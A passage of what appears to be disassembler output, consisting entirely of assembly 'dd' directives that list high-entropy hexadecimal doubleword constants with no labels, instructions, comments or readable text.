0BEFC6025h dd 3D8B3FACh, 69CF7189h, 80149CDh, 7B0FC1E3h, 0DEF2361h dd 0FF59FB11h, 1A69707Dh, 6759CD97h, 2942CB84h, 3362726Ah dd 588CB10Ah, 2862E35Ch, 0CF44F80Bh, 0A6E5B532h, 0A677C5D1h dd 0B9780F71h, 0F303825Dh, 63449C54h, 498EDA66h, 3D1E8965h dd 8795A0BCh, 73599705h, 51BAFAE9h, 8494F415h, 0E18CFB57h dd 2C20119Fh, 0D8C2234Fh, 7B954E5Dh, 78E2EAh, 0E5C36513h dd 76259398h, 4833E086h, 273CAB1Ah, 4C97762Bh, 0DA181269h dd 0D778DE97h, 6082BC4Ah, 439DF44Dh, 0A14FCC62h, 77CF365Fh dd 41F8B2B0h, 0A4BFFEA3h, 0D0FD03ECh, 0DD84F5D8h, 0CA2E55DEh dd 0CEE521D1h, 6D87F559h, 0EB19E6Bh, 44EEF7FBh, 804A958Fh dd 52E5C32Ch, 4DC581Bh, 963F231Ch, 8C0D4444h, 0A80681B9h dd 9B822685h, 0DECDBEEEh, 0BE12A223h, 34973220h, 0B6766234h dd 7A940EE3h, 20219410h, 147CABE1h, 88DE96C0h, 2DDAC37Ch dd 1FAB3F12h, 452A85Ah, 0C4C4DBBBh, 0D1FC2DF6h, 97383C4Bh dd 0D6FE6AF2h, 0B1C98FCEh, 87E2BCB4h, 9E637709h, 28D930EAh dd 0D9113B49h, 0D7D56365h, 0AAC6CA01h, 20255AFh, 0A564D9E7h dd 5B3DB9DEh, 1665AD0Ch, 76157B3Ch, 879BA350h, 0BECC9B01h dd 398A94C9h, 9F91A425h, 75AE9D0Ah, 74FB7D74h, 226AB2D4h dd 0BC0CB52h, 0A763029Ch, 0EE32474Dh, 0CD26D30Bh, 7447CB7h dd 5A15A4A3h, 0EDF4B233h, 0D11CECCh, 0F91CC474h, 0DD7B094Ah dd 0E18EB2F6h, 9252F425h dd 0DA96726h, 4AE3B2BEh, 1F3FABC6h, 64A12645h, 10519BD4h dd 9869AD1Ah, 4217B8DFh, 42AC73D7h, 0C7779ED3h, 0F119AC8Ah dd 35F9A067h, 20D1330Ch, 93BC6DF4h, 0D7FC13BBh, 6260C16Fh dd 330677Bh, 0E3A43913h, 6F2025FEh, 0F3E17116h, 0EC6424EEh dd 15B3C305h, 0E60783B8h, 0BA3AB5Ah, 16D28BEh, 0F6EF306Dh dd 1CD0D36h, 58F38976h, 0BDF15E7Fh, 5279CAA7h, 44F147B2h dd 19D7FB10h, 0DD65E769h, 5A513F1Fh, 0D08998A3h, 94F49E81h dd 3E99AD72h, 0CA422177h, 0E950358h, 94DAA55Ch, 41DF95B4h dd 55AF0BF2h, 6E2EF364h, 34AED449h, 428364E7h, 43997BF4h dd 90D0BF42h, 347F0FFAh, 85D815B5h, 651762A0h, 0B8D68D94h dd 0AD7C4909h, 2E4B5D90h, 634D92D3h, 1A6CEB1h, 2F45BB41h dd 96DC12C5h, 6A0C8C14h, 89AA96C6h, 4AB76D1Eh, 0B9DA153Dh dd 21079092h, 869AFCFAh, 65DB0255h, 52046657h, 0EE071B94h dd 7B21C458h, 0D4CD607Bh, 0A3229360h, 0A872533Ah, 0DB77F2C9h dd 8AB4FB34h, 7890E5BFh, 0B7F7D79Ch, 8D97A43Ch, 6C9506AFh dd 0D10CA3D3h, 2E559182h, 6686E8D5h, 0E01D5B30h, 38CEC7A9h dd 0C5EF932Ah, 0B6D3DE96h, 64DB7E71h, 918D5C5Ch, 0F9BCDC71h dd 0C213CEE8h, 0AD125C74h, 0E14E93ADh, 0C08393DCh, 1EEDD662h dd 716A432Ah, 0B0D0FB08h, 446DC320h, 0FC2D6023h, 0DA064607h dd 0FF8975E8h, 740EDE16h, 0FD9ACFE2h, 55B2C882h, 0B406AB3h dd 0B6C14E27h, 0C8D09E02h, 0CE8D0B87h, 47C53010h, 6EAA5674h dd 84D3D11Fh, 8119C846h, 8A976FF2h, 0CA9AFE07h, 0B4ECF645h dd 0FCC22E0Dh, 0E4C61519h, 0D3BCB84Dh, 0C29F5A01h, 3C6C5A93h dd 8E35BBDEh, 0A383600h, 7B666E87h, 46680394h, 0EE27CEC8h dd 4CE9616h, 95A2DA7Fh, 0B1C517ACh, 0E614504Dh, 0D3B63D5Ah dd 216D0EFh, 641566D3h, 0DC930907h, 0C6B79582h, 18EFB5E2h dd 2DCC5186h, 4E8DF9A3h, 0FA7F0B43h, 59365919h, 32568F68h dd 0B939A66Dh, 0E954DA71h, 4A0A02B1h, 107F6DCEh, 65599486h dd 10FC13CBh, 4BA8A54h, 7BBEC61Bh, 0BF6FCF9h, 0CDBE07E4h dd 503111CDh, 0A9BA39BDh, 0DE31DA97h, 22A082CBh, 52E6E48h dd 0D3FDCF44h, 1C75DF52h, 27C1A66Ch, 0C8C99F79h, 0D8AADD06h dd 0FD495E33h, 0E40A27D6h, 0E8F9FD07h, 6DAF4ACCh, 0FC188454h dd 0F9CE497Ch, 0F73F9D13h, 4F100651h, 1B74B79Eh, 0D3156926h dd 6A9A5150h, 262F4E69h, 22EDD0AFh, 567214E7h, 3AD01CABh dd 4502D673h, 0AC8D55Fh, 2DBCC9B8h, 50925F6Bh, 0B78BC231h dd 0C731A01Bh, 490AA62Ah, 0D815084Ah, 0CCE117D0h, 0DE70A020h dd 847C08EDh, 5DDEF01Fh, 526CEFD0h, 94861B28h, 0D4DC4FFFh dd 593DF768h, 674FBFBAh, 0C2739F0Ah, 7037EEBAh, 6EDA5417h dd 0BEA6308Fh, 4687D111h, 128D856Dh, 0AC777393h, 3AF547CDh dd 2B4DB84h, 1444BC93h, 165F4E14h, 0AEAF151Eh, 0AA03A7ACh dd 0AD5090DAh, 0DE2A6E61h, 0CFFE57D6h, 6824984Dh, 4B5A7821h dd 0A7969A97h, 95B10474h, 0BA33D511h, 70170A7Fh, 0F8F4B381h dd 0DECC033Fh, 0C4A30D2Eh, 0FBFDD945h, 1593F4C2h, 0C3F1225Fh dd 0DA801A58h, 0B4F3A3h, 0BEAA3DBBh, 732AA225h, 0D4273CAFh dd 958B2957h, 7EFA4ECBh, 0B920DC8Dh, 8E7C7A45h, 310BCF42h dd 728AB7CCh, 3B3E2544h, 0FEE64BACh, 10084B94h, 74429741h dd 0CE1FCB35h, 0F5291A3h, 5F551E78h, 0FC1FB3D2h, 0C2AA9D64h dd 623B6B62h, 2AB41B10h, 0E7FF601h, 94B087A0h, 17059A14h dd 0DD158707h, 0C4DDDA8Fh, 3706361h, 50622E8Ch, 0C62211D0h dd 7B665A97h, 0C2F87EA7h, 0F950024Ch, 0A0B9EDFDh, 0B455EDB2h dd 1739706Eh, 0A4B0E4F8h, 32F02E72h, 99DFE4F1h, 8818F7Ch dd 1E261473h, 7F586136h, 7A0FBBB7h, 9E4905D6h, 3DF78687h dd 96F52E2Eh, 971C76E7h, 0B2D5F623h, 80495879h, 6BA75CE6h dd 3EEC5966h, 8280C372h, 5744CA3Ah, 0CA336DC0h, 0DDA5D40Ah dd 0E020844Ch, 4C617C2Dh, 0E4C71F37h, 5ECE9C69h, 1FFFCCF4h dd 0C9118BFFh, 4E1BEA7Dh, 0A5BCFFC7h, 6D78EB1Ch, 7B6E03F0h dd 85CEA6EFh, 1763E8Dh, 4CC43A9Ah, 9F62469Ch, 20CF3874h dd 1015030Bh, 46FB06DFh, 9ED8E6CAh, 0DC605F34h, 402F7309h dd 0B45275C7h, 0FB525DEEh, 198925B7h, 0C34AA52Eh, 0DC27C3B7h dd 521A9518h, 0A79E6C0Ch, 10C0166h, 79094920h, 6905DC1Fh dd 84F9C745h, 8819252Ah, 61BE680Ah, 7E9C10E0h, 1CCC4450h dd 5ACEB8AAh, 2EF03547h, 38F86F43h, 0C9A861F1h, 1E4FDABFh dd 0AB71985Eh, 0A7E25A84h, 9CF3B05Ah, 7D6563F6h, 8E210C10h dd 77F144F9h, 7384DCBCh, 1B1E63D3h, 7700A19h, 196B2EA5h dd 740BD5BEh, 0DAC11A83h, 0C14BAB00h, 34FE13A7h, 0DB79890Ah dd 12493932h, 85515D3h, 0EDF5BA33h, 0D38B5161h, 799144DDh dd 7E1473A4h, 0B68F7F79h, 0C8138747h, 156483AFh, 0AA0EAD33h dd 0CEA9315Eh, 1B8F1ACCh, 0AD00D70Fh, 640B49C6h, 83318596h dd 1594E70h, 4742EF85h, 8CFAB924h, 92186AC3h, 49C593ABh dd 4D0F840h, 0B3EA33DCh, 643BCF66h, 0F49E8E03h, 5976C7DFh dd 0E4DAA378h, 4781BEA4h, 0F17CCC9Fh, 9FAF8873h, 0B88A38C0h dd 1EC912DCh, 5E68BCE0h, 9EE4BE99h, 0DAA0D6DAh, 2E00FD0Ah dd 6E4078A1h, 2BDC2D89h, 81FF49CCh, 0B981B3F5h, 0B0FD831Ah dd 21904879h, 0F50E119h, 1540BC57h, 8AF4FEB4h, 0F25C1F12h dd 619A2A12h, 6A33859Ah, 448D7D48h, 0D09442EBh, 72036FF9h dd 9E13F36Dh, 4D5425ADh, 3EFFF3E6h, 7D0F034Bh, 0A2320786h dd 3C3BEF5h, 0EE910551h, 57D83577h, 199BC1B6h, 17F7BE95h dd 0C967C84Fh, 8290FC44h, 4F843DEAh, 52F76711h, 0F76135FBh dd 0FF6F4C99h, 60BCFEFh, 3E931143h, 5595E69h, 6277226Bh dd 0EC4AFC4Dh, 0C301D68h, 0FC2FD9A5h, 0F9DE2EA6h, 0CC9109BEh dd 0B72CA1F2h, 0F288A131h, 47CAB05h, 794EA133h, 0A97369Eh dd 0E6ADF00Ah, 0E06F2D2Ah, 331A1761h, 0FE1D3E4h, 0BAAB2396h dd 0B3777492h, 6D7CBC0Bh, 4013D71Dh, 0BFBB7947h, 0FAAFF262h dd 0B0E919Eh, 0E20E146Ch, 0BA0CBFF0h, 0E7120866h, 0A81AD0D5h dd 1E68885Ah, 777C6AAFh, 33523182h, 326F0221h, 0BECB8B84h dd 91D761BCh, 98160521h, 65FFEE37h, 5A6BA3D8h, 0EAB61D04h dd 4A66D51Fh, 7577893Ch, 6CFE0023h, 0F006EAA7h, 5173A02Ah dd 0EA844715h, 5BF6CED6h, 2520CD96h, 0C667C58Bh, 3430DFDh dd 79C390CBh, 0E73E9278h, 607DCAB5h, 7683EA93h, 8528FEE8h dd 0E978B5E8h, 7FA339C6h, 0F8E7C16Eh, 4885022h, 0EEF7885Ch dd 26683B09h, 4FAB9107h, 6C85ACD7h, 0E98C6DD3h, 0B6A389A3h dd 0C5AB1BB8h, 75531C67h, 0F0293178h, 4D7647Ch, 53149948h dd 0A5DCB71Eh, 0D456180Fh, 0BC7EC580h, 9A7208C4h, 0DB11945Bh dd 98672307h, 0E702BB58h, 0D1AEF5F7h, 5D0B226Bh, 0BD1A7450h dd 23EE6963h, 8CA2A355h, 0B2BDDEE5h, 149EE327h, 36A61F64h dd 0CDA5D10Ah, 7BB0C53Dh, 681C1312h, 0C7E2E8F5h, 0A3241DA2h dd 53974D3Ah, 63C65B9Eh, 60649AA1h, 0D6CDFE0Eh, 6EC9E596h dd 0F7DC5E11h, 1FB568E8h, 0F4B7F516h, 12E1E612h, 0F6FB3CB4h dd 27E79B10h, 0E67B3DF8h, 0B622CFB5h, 0BBAE4818h, 0FFE5905Bh dd 0C0A8F59Bh, 0D32E4A73h, 3889D921h, 0DB3C7229h, 0DB43852Bh dd 15318B38h, 62E5EC0Fh, 5AB491B1h, 0BCC06764h, 0F8B22ABCh dd 73A91BC7h, 29629F99h, 9207B6CDh, 4C08D3C1h, 5DE7CB46h dd 1D273BEEh, 3BC1733Eh dd 4E743F57h, 7E4618ECh, 59F94BCCh, 0CF180595h, 0C45E66C3h dd 3CF92B64h, 598502BBh, 5AB73768h, 351C54F6h, 247D340Bh dd 349466Ch, 9AA30F9Dh, 6F3CE699h, 0FEA3AAC9h, 189A3936h dd 7F6BEC64h, 32C405ABh, 69470AF1h, 0EA76B30Ah, 73C81BC4h dd 778C3B86h, 0B93FE958h, 0D00ABD58h, 9C073A40h, 809CF927h dd 0C1631EE8h, 0D50318A3h, 63BB8FDDh, 0AB30454h, 12D7C42Ch dd 0CB4EAA6Eh, 3F3E9009h, 9D46A055h, 0CC430C1Ch, 0B862979Bh dd 9460B55Ch, 7E24FD6Ah, 6A72731Ah, 0F4E15D81h, 20279145h dd 3C0E144Fh, 1D938C46h, 581CC7B1h, 2519932Eh, 6492319Dh dd 0C9539D8Ah, 6200A43Bh, 4F0F9755h, 88FA4A7Bh, 0A81ABB4Eh dd 0C39C1B75h, 6B30791Fh, 5F414335h, 0E8E8711Eh, 0EE022565h dd 443B0385h, 0F2100EFEh, 1FFFCE6Dh, 0E6B986EFh, 79AA0B0Eh dd 7D6F806h, 876601ABh, 2914E49Dh, 4997D870h, 0C989E46h dd 2D335CD0h, 2831A2D2h, 0C5E30196h, 421B3C3Eh, 9F540E7Dh dd 3F668384h, 4BF58094h, 0D2AA4576h, 0D8889A3h, 42020B9Bh dd 9C700A17h, 723CAD46h, 5AE629FBh, 0A0E43EBFh, 9BDB7F07h dd 1AAD665Ch, 7199288Eh, 0EBDB4976h, 99A6A354h, 1E8AD47Ch dd 0EBE3749Dh, 672E8AA2h, 5DC51272h, 9F6C6C2Ch, 0D5FD032h dd 7A7D6382h, 0F8CC64E6h, 0F6D677C5h, 0CDB5FE53h, 2AD8C9F6h dd 45FAB886h, 0E873318Fh, 8EA43E77h, 0A6A937C3h, 2AAC3ECFh dd 556F5CC6h, 3ED10247h, 9C88961Eh, 99028422h, 6EEB6799h dd 8587AE6Ah, 0EC8FB1ECh, 85C785BDh, 7C80A2EFh, 0C0EC99CAh dd 0A50E82EAh, 61163264h, 0C485B8D6h, 1BAABE76h, 0DF38673Bh dd 0E64987D9h, 0F01B8672h, 11CACCA9h, 6D01FF1Bh, 75DF1CEDh dd 1B87B89h, 0EEE83AD6h, 0F8E7E286h, 2D741451h, 4E8ED11h dd 244EDB1Ah, 75AD2225h, 9DEDACF4h, 0E1D3C4B6h, 0E9C91203h dd 3600081Ah, 0E59ABBD5h, 4A8FE56Fh, 0D9EE64C9h, 0B7898167h dd 6EA18DDAh, 0CB2B9526h, 5831E1DBh, 0E9D317B0h, 59098CCBh dd 0A92C6BDAh, 44E4AC29h, 4858F7FAh, 0CB11EBE4h, 8F111717h dd 99278AC6h, 0F3F3D307h, 0B08BAB51h, 0B6763E60h, 6A775F8Bh dd 0A27F5CA9h, 0DD679B45h, 195C5763h, 83B2F6A6h, 0D42B1433h dd 7209E208h, 2B5A848Eh, 8C04BAEAh, 9AFC192Fh, 32D0B89Eh dd 57C83CFh, 5EDDBEB0h, 0F893D5C2h, 0C35A362h, 6EE03D21h dd 0ABFBF36h, 0EF3040B2h, 0A38EC478h, 8B1FC597h, 0EE68B681h dd 4ED208F4h, 5F41D041h, 0A686F40h, 3FCF9A3Fh, 431F1671h dd 544CD0B4h, 9151E6C1h, 68B9B978h, 783BECFFh, 0EC40D65Ah dd 3F53201Ah, 217A19F2h, 63C8CE37h, 5AA3D98Ah, 0B75DEC22h dd 58729EA2h, 34A4A8F7h, 0B0F88B0Dh, 0CFAB8D80h, 0F637C996h dd 0B8DB2587h, 0C377FA23h, 0BC88DB42h, 7A22BBF5h, 6BE30030h dd 38275778h, 1C5F98C4h, 5EFC1021h, 422FD89Ch, 7C36E47h dd 90384B1Eh, 0B8BCECABh, 38567A9Ah, 0FF6C5316h, 0C8C13806h dd 5A39302Eh, 0B57D1501h, 0BEEB2064h, 0F985C4D6h, 0B37C7D84h dd 0C23DBEF2h, 1A7B11D9h, 0C54DA3BCh, 31C05FFEh, 0CA07DAA1h dd 627050C5h, 8D4490B5h, 32C179FAh, 0A0892061h, 0CAB6E562h dd 29786550h, 332581EFh, 6846BB4Bh, 0EDEA84E5h, 0A6E36401h dd 0E80848EEh, 84BCA0DCh, 0B8F0E60h, 7C1A3410h, 0D693E4D1h dd 2462E03Ah, 65C7C2D8h, 7A05E1B7h, 1B67693Bh, 63C2C236h dd 0BE9E2169h, 0A860842Ah, 0C7144681h, 0D66AEE92h, 0DBE7F607h dd 68DDD71Bh, 77648176h, 0E1720D20h, 0E619A42Dh, 89AB1703h dd 6880DFD5h, 2C0E7B94h, 8D07809Eh, 93177B96h, 0ACD7DFADh dd 5B523893h, 0D25869F6h, 4FC4BF55h, 883ED377h, 224823FCh dd 65E6C09Eh, 6E8A04FEh, 0E741270Bh, 0EA0FB32Dh, 4ACE76CDh dd 9FA0EEEDh, 9439169Dh, 794BC526h, 101A108Eh, 87A3A8C4h dd 7AE49818h, 0EA22947Fh, 0D4B2D6FEh, 0C2A39F0Dh, 5527B2C1h dd 0DFF16EF5h, 8A81A428h, 0C065E2CBh, 77B72ECBh, 53F39B7Eh dd 0D6D9C962h, 0DE1ADEF0h, 0B83F2AEFh, 88FD2827h, 31733AADh dd 49D58715h, 35AB66CAh, 0A15069A2h, 6B4B220h, 0BAE005C1h dd 271BE689h, 3F4EB9D0h, 6DE113AEh, 4B3D2C4h, 7A4DAB65h dd 57B95CE8h, 6415B7FEh, 0F35A4EFh, 2B8CAA0Ch, 0DE544371h dd 0EA75C61h, 9D8D7474h, 3EE6F187h, 0A1C2F637h, 3FCF01DEh dd 120172DBh, 70783557h, 0B1119F99h, 9849C591h, 6C2F5A51h dd 3DF37329h, 53943D0h, 6E31A27Fh, 0DF589C0Ah, 0D57DA422h dd 2BB8F9BDh, 0F8CB618Fh, 449F8838h, 55ADE734h, 4C32B5Ah dd 0C1E5F9D6h, 2262313Fh, 7AC5A76Ah, 448A870Ch, 8A59C0Fh dd 0FB2C047Fh, 0FAB48131h, 2746DFC9h, 70A25C42h, 21986D40h dd 5B0B27FAh, 6E11F28Bh, 0C38DB888h, 0A04D4803h, 0D80038F5h dd 434BBB15h, 47D61151h, 0E00D6CF1h, 0B47BB3CAh, 251E5DDEh dd 0F5AE42Fh, 28F6D89Bh, 0B767C59Eh, 309117CBh, 7C242599h dd 0ADBD5AF8h, 0E10FC737h, 0F39F817Ch, 0BC364BDh, 854F60F3h dd 55BA940Eh, 850F3E44h, 0E9E7B642h, 6C507146h, 0F5A6667Dh dd 6F28BE3Ah, 18523EEFh, 0AC7F8760h, 2E104675h, 6ECADEABh dd 0D2010849h, 0E116F19Dh, 0CFE6CF81h, 2CD6452Fh, 99AE0394h dd 8836139Eh, 0AA0A3000h, 0E37BB56Ch, 2C81483h, 0A8967034h dd 8F3E64D3h, 0EF73E537h, 0D9A71225h, 88C6100Ch, 1D7CAFD3h dd 0C7E943FBh, 0C1808C6Dh, 329F814Eh, 4CC0BEF7h, 0B661FA95h dd 8A9E5DFAh, 0A2C84826h, 532AE8AEh, 0DC3C3050h, 0A5C6AA97h dd 0EA0ED1D2h, 0C8D0E601h, 98133053h, 1044E032h, 0DD5D9F96h dd 0FEA2BB40h, 8DE60659h, 301FF69Bh, 6D5563C3h, 47EF357Fh dd 0BFB65FBDh, 0CBA12C70h, 99EE4D11h, 0D81A900Ch, 6E9BDC92h dd 9D7D9B89h, 49240D8Ch, 3F309471h, 0D6ACA7C0h, 72511042h dd 0D160766Fh, 0F69CEF3Ah, 1DCBCEB3h, 17453CF4h, 782CCFCh dd 791365CFh, 3D0E0414h, 9A5E6008h, 61E65EAAh, 5CF95539h dd 0F05E1367h, 2EB2B373h, 61028B1Fh, 53C7BB0Ch, 3B3E200Eh dd 8AFA6774h, 0F0EA8452h, 37381A63h, 4391A198h, 0B9434A9Fh dd 213E5468h, 8CFC854Ah, 9D4DB56h, 0EDE53799h, 137AB2A1h dd 0CB485447h, 62FD3749h, 9035A84Bh, 49C8A425h, 56C80FF0h dd 215970FFh, 98BE6DC8h, 8C4047A3h, 0B14484Dh, 2D5295Dh dd 3D2DEF4Ah, 73496931h, 62D6F52Bh, 228F4965h, 2DE38138h dd 576CF32h, 4CFD33Ch, 5236DA0Ah, 0D09F77F4h, 4389898Dh dd 0CF3BB581h, 0E6A4880h, 606D2005h, 0AEEDF423h, 0A221343Ch dd 0C8F26B23h, 0F6D16CCEh, 512E1AB4h, 33E67B9Ah, 0F1AC8048h dd 6A75BA84h, 0B6D61FC8h, 0CD88AEC5h, 9FA01AC2h, 0A46C08EAh dd 23B070DFh, 50F0476Dh, 0BCE18E15h, 0E943EDDBh, 0EB7453h dd 0AB4B67DDh, 79ACF8FEh, 0D47D0D2Ch, 5C54E2D0h, 0C50627EAh dd 0AD4B965Fh, 0AB7D49E1h, 0A09F0354h, 0E7EB590Ch, 0F60B4CFAh dd 58DF7659h, 13973276h, 297C17BAh, 0BA5E3F64h, 1AAAA182h dd 400A40B0h, 0A03589C3h, 0A33F69ABh, 3DE8CF8Eh, 9B08B815h dd 0F809B30Dh, 4720AB85h, 0CD5F7860h, 0F39F31BBh, 1B95E0EDh dd 0CC5811CBh, 0D566A040h, 1086A33Dh, 1F574ADEh, 1F772716h dd 0E98FE23Dh, 0E312215Bh, 0D2E7AD5Eh, 5BAF81C6h, 0D1E2C15Fh dd 0A4113E51h, 28628C99h, 7522F414h, 21B7F8C4h, 9823C925h dd 25332405h, 0BF999448h, 0E6D0BA09h, 6AB346C2h, 84C3480Ah dd 4A7DD80Eh, 3ED41C8h dd 47A86241h, 0DCEE57B3h, 3FC0E799h, 0D59A68F9h, 0F980F5D4h dd 7AD1EE2Bh, 8144FAADh, 0DF5ABDABh, 0DCF0EF0Fh, 5A298526h dd 0F20C7B31h, 1A246746h, 23C2D24Bh, 0B6E11BA8h, 0CDBD37Ah dd 0CC860AB1h, 0A1AB67EDh, 400505B5h, 0DEA12CFEh, 0C0805D1Ah dd 1FAD653Ah, 95427876h, 0D231C63Eh, 0C6D32592h, 818FC3A2h dd 4F080E0Ah, 0A49C258Ah, 561E2300h, 9A50F87Ah, 78E25A13h dd 4D473DA5h, 829FE64Dh, 7497775h, 0F4514330h, 0EDB48589h dd 8E4094C7h, 0D370704Ah, 0A5FAC55Bh, 2302535Eh, 0D504891Eh dd 0BF48DDFEh, 0DF2FFB87h, 0E89C773Eh, 0B57E318Ch, 37ED4B95h dd 35E290A0h, 4A13BA89h, 786C5210h, 0C417CEBEh, 3743D764h dd 0FC955DC3h, 9B474DC1h, 0DDEA0B6Eh, 273E1F51h, 3D64A733h dd 0DBFCC6BCh, 0F6F538CDh, 640D3AA8h, 9DCF5E1Eh, 0B8696884h dd 379C04C5h, 698D8CBh, 10B3D0B6h, 36714D44h, 6FB5E0D2h dd 9062B07h, 48642FD5h, 9E6949F3h, 0F0FDEA04h, 0BD882FE7h dd 13D07C6Ch, 0DC6A7A50h, 0F80938EAh, 5749D8AAh, 9546A6FFh dd 8847F9F2h, 0E33CCF93h, 0F025DB1Eh, 0FEDBCC2Ah, 0BA2F1C6h dd 0FB35A39Ch, 3E24CF74h, 60C73D19h, 58C1B2DCh, 10713285h dd 3D8FF7E1h, 0BEA4051h, 0E4ECD8h, 15C74B13h, 0E18FF896h dd 2D413BA3h, 0D6350CFh, 0EAD4E344h, 0F4611865h, 0B06AA632h dd 0C9B8D913h, 0C7BFDDAFh, 0CFF86383h, 5A620BF1h, 49A2B3D3h dd 11CBDD6Dh, 0BC6FAA91h, 47A46355h, 7E6B2027h, 69A1BF98h dd 7B055EC9h, 0C66EBEE1h, 900E9644h, 5325F76Fh, 76BDBBF6h dd 0AAA66F5Ch, 12FEA324h, 0A3F2DE5Bh, 0A74332F8h, 0FDD8619Ch dd 78244096h, 0E4B8504Eh, 0D84EA1ACh, 7E74F194h, 0BBFBE8CEh dd 0A2EB44F0h, 0E6332536h, 3CB8DF8Ah, 9D66594Fh, 7514C2D3h dd 70D3036Ah, 0C21905E3h, 0C612AC56h, 89F004D7h, 51EE52ADh dd 0E025EDB8h, 3ADCB410h, 371F76AEh, 308C043Bh, 0FBBD205Dh dd 0C6F768E1h, 0FE5EBF5Dh, 1DA272AAh, 101CA40Dh, 9387A526h dd 90B547B8h, 59F69912h, 8415E2C2h, 1773B913h, 8E1B1A83h dd 0BF5C271Fh, 96AE0B51h, 4348E114h, 0C7B2B173h, 1A3CAE13h dd 3C215D7Bh, 0C83E37B9h, 290F5DB2h, 469997B4h, 72E95FD9h dd 64B50614h, 0DF587C7Dh, 80B9F80Dh, 3EE9E221h, 343E7AE8h dd 56451DCEh, 598D7BA4h, 2A2D4A6Eh, 188167D1h, 2508829Dh dd 0D38309F6h, 0F41D9CACh, 16F73D9Ah, 11BDB617h, 0C6EED92Ah dd 0FC3BAAECh, 7D24FA8Eh, 254E8482h, 1389D243h, 0D159DA1Eh dd 0E21EA66Ch, 71F9214Fh, 7A660970h, 5DE96174h, 7FA80382h dd 0D9DA86D3h, 76143B2Eh, 2D8CA490h, 0CAD5B07Bh, 23263E19h dd 3C27DB95h, 1673B803h, 0A5847832h, 0B2EB1279h, 51C79C8Bh dd 3408A47Dh, 2E8D717Eh, 0BAE8B180h, 547EE74Ch, 0FAB2360Dh dd 0C620364Eh, 0DBD4B9D7h, 0D134E8F1h, 1174F12Dh, 447C7814h dd 17F2598Eh, 4976CD7Fh, 2668864Ch, 82A3CC3Ch, 0ECD497ABh dd 4A110CF8h, 0B6A2DA6Ah, 0F70A6BD8h, 7ABFF2FBh, 0E2AA6B56h dd 0F04F5EEBh, 0FC3B39CBh, 7BECA4F5h, 8351D337h, 5F50E9A0h dd 40FA8702h, 4F95BCFh, 9060766Bh, 0AAE5C16h, 623D214Ch dd 15F9903Bh, 1C7F638Ch, 0F6B46743h, 23EE45B8h, 9730B17Eh dd 0AF1649A5h, 0C57896CFh, 7937E3C5h, 2AB8F59Fh, 8230615Bh dd 0CB394349h, 6D289649h, 0E27DCB72h, 0F7FAF360h, 7C7C1BDCh dd 0FED4824Ch, 8A15ADF4h, 395ED704h, 216D7289h, 70370069h dd 6F9D5DFh, 42909513h, 0D94FF518h, 1813D4A4h, 882542FCh dd 0EFB5DDA6h, 47246F54h, 0EDEF9C38h, 4439752h, 9D4B736Ch dd 949FFFA0h, 17767D0Eh, 0C609AA8Fh, 47270048h, 8A6F1839h dd 0B5248FA8h, 0B4769776h, 5B00A9BFh, 2E4A21B3h, 0D6F41255h dd 9ED60C2Ah, 0D7399448h, 78E8D27Eh, 87FB133Eh, 0CB1F0214h dd 0EED222E6h, 150CB1C1h, 4E5DB9E8h, 0C7E0B9CBh, 373D319Dh dd 87853A7Eh, 68626C58h, 0C2F03855h, 955448B2h, 0FB09A5AFh dd 0C666B389h, 47A7DEDEh, 0E27753D0h, 0CE095649h, 0F1EEC03h dd 0CA29FF63h, 0D3C60216h, 1A1847E8h, 0B7FBBF3Fh, 5B76AFDFh dd 0A42925B0h, 4DDC73EFh, 1884F27Bh, 0DA9D424Bh, 2A351085h dd 35836A7h, 0E4E9ED11h, 0AB5A3441h, 1E51C43Ah, 4FB03520h dd 95C61496h, 0F364730Ah, 783D8872h, 6B806CD7h, 1BFB7E9Ah dd 5F4AAFFh, 0D531F8C7h, 902A4ABBh, 0C5CEE254h, 87E968Dh dd 84C0A4F5h, 1307C38Eh, 0CAABD729h, 0E621906h, 75F52270h dd 5BBC1996h, 68568811h, 0C43DF639h, 9605C964h, 6BE30F6h dd 0AE58E66Dh, 0E3AC258Ch, 7CAACFE7h, 234C117Bh, 444C02B2h dd 0A0AD98DFh, 0A88F1BFDh, 8C226AB8h, 0E21616E2h, 44FD3A3Eh dd 7299D2A6h, 4ED49149h, 6BAE5458h, 4DC5EB42h, 0DBBF410Bh dd 0BB91797Eh, 1E000D55h, 0ED32AB1h, 0C1EF823Eh, 0BDB29FA7h dd 0CF1D229Dh, 70CDF601h, 0A26C6847h, 41482132h, 294AF12Ch dd 0BDF214DAh, 0F0C307F4h, 6AFD36DDh, 0FB064D97h, 0F45CE9D3h dd 3CDBF806h, 4B7CAFD1h, 491DE2DCh, 0EC31FA1Dh, 0BB4921D3h dd 0E87AE30Ah, 0F165AAF8h, 0E6B0B3Dh, 61237981h, 2EDA2853h dd 34113121h, 5DAEB797h, 0FA0558E4h, 18E55AB9h, 6269DADEh dd 0E008D5DEh, 0F15F898Dh, 496E69F0h, 2BA3D274h, 0FECD2F41h dd 6502690Eh, 9DA6900Fh, 0C7DDB899h, 0A2C0EE8Ah, 0F499B91Ah dd 0EAA9149Fh, 81E37B5Fh, 5B322AA8h, 0A41D04B0h, 49E17870h dd 0FABDD828h, 692834D3h, 0A451B16Eh, 0C14E4CD5h, 493343Bh dd 4C84964Ch, 0F76C02D5h, 23EA13B6h, 0B5CAA28Dh, 2CC7A547h dd 0A06A275Ch, 0ED488AF8h, 0C355D515h, 928A9E5Fh, 0B624862Dh dd 55688AB0h, 6D7FA9D7h, 0F353DB7Ch, 9D1179Ch, 0FBB244A3h dd 0F29680FFh, 0BBAF6915h, 1A84F83Ch, 4F24DECDh, 65D63BE1h dd 8D04BC6Dh, 3C64B7EEh, 81212CDCh, 7BF7E02Bh, 0C544F9F7h dd 171C03B6h, 18FD635h, 80BA1CD0h, 5C80434Bh, 0CA9BA97Bh dd 86B4AF32h, 0ED31EF67h, 0F0EDBC31h, 0B1275EFh, 0C7388B83h dd 40CAAB28h, 13D3F165h, 0F6D8BDA8h, 775C876h, 8110DD4h dd 2680CA99h, 19F55E68h, 6E58CE55h, 0EFF35666h, 0D49551A7h dd 768899D1h, 2A045694h, 0C20A3CAFh, 0F29DB293h, 0BD09B280h dd 13739238h, 0FD0BEEF5h, 0C10A712Ch, 416B0D5Fh, 0C88E1A69h dd 30694B46h, 18E3AEB6h, 0B48B1270h, 8CAB554Fh, 78D29F8Eh dd 616AAD8Ch, 72726AD7h, 234505FDh, 503D57A6h, 9FF61FAEh dd 0DBAD2497h, 97F6CCC1h, 41AB7687h, 9D70EC6Ch, 394DB49Fh dd 8C2FEE67h, 0B3E06592h, 0A1C539DCh, 551194ADh, 2CAAD12Eh dd 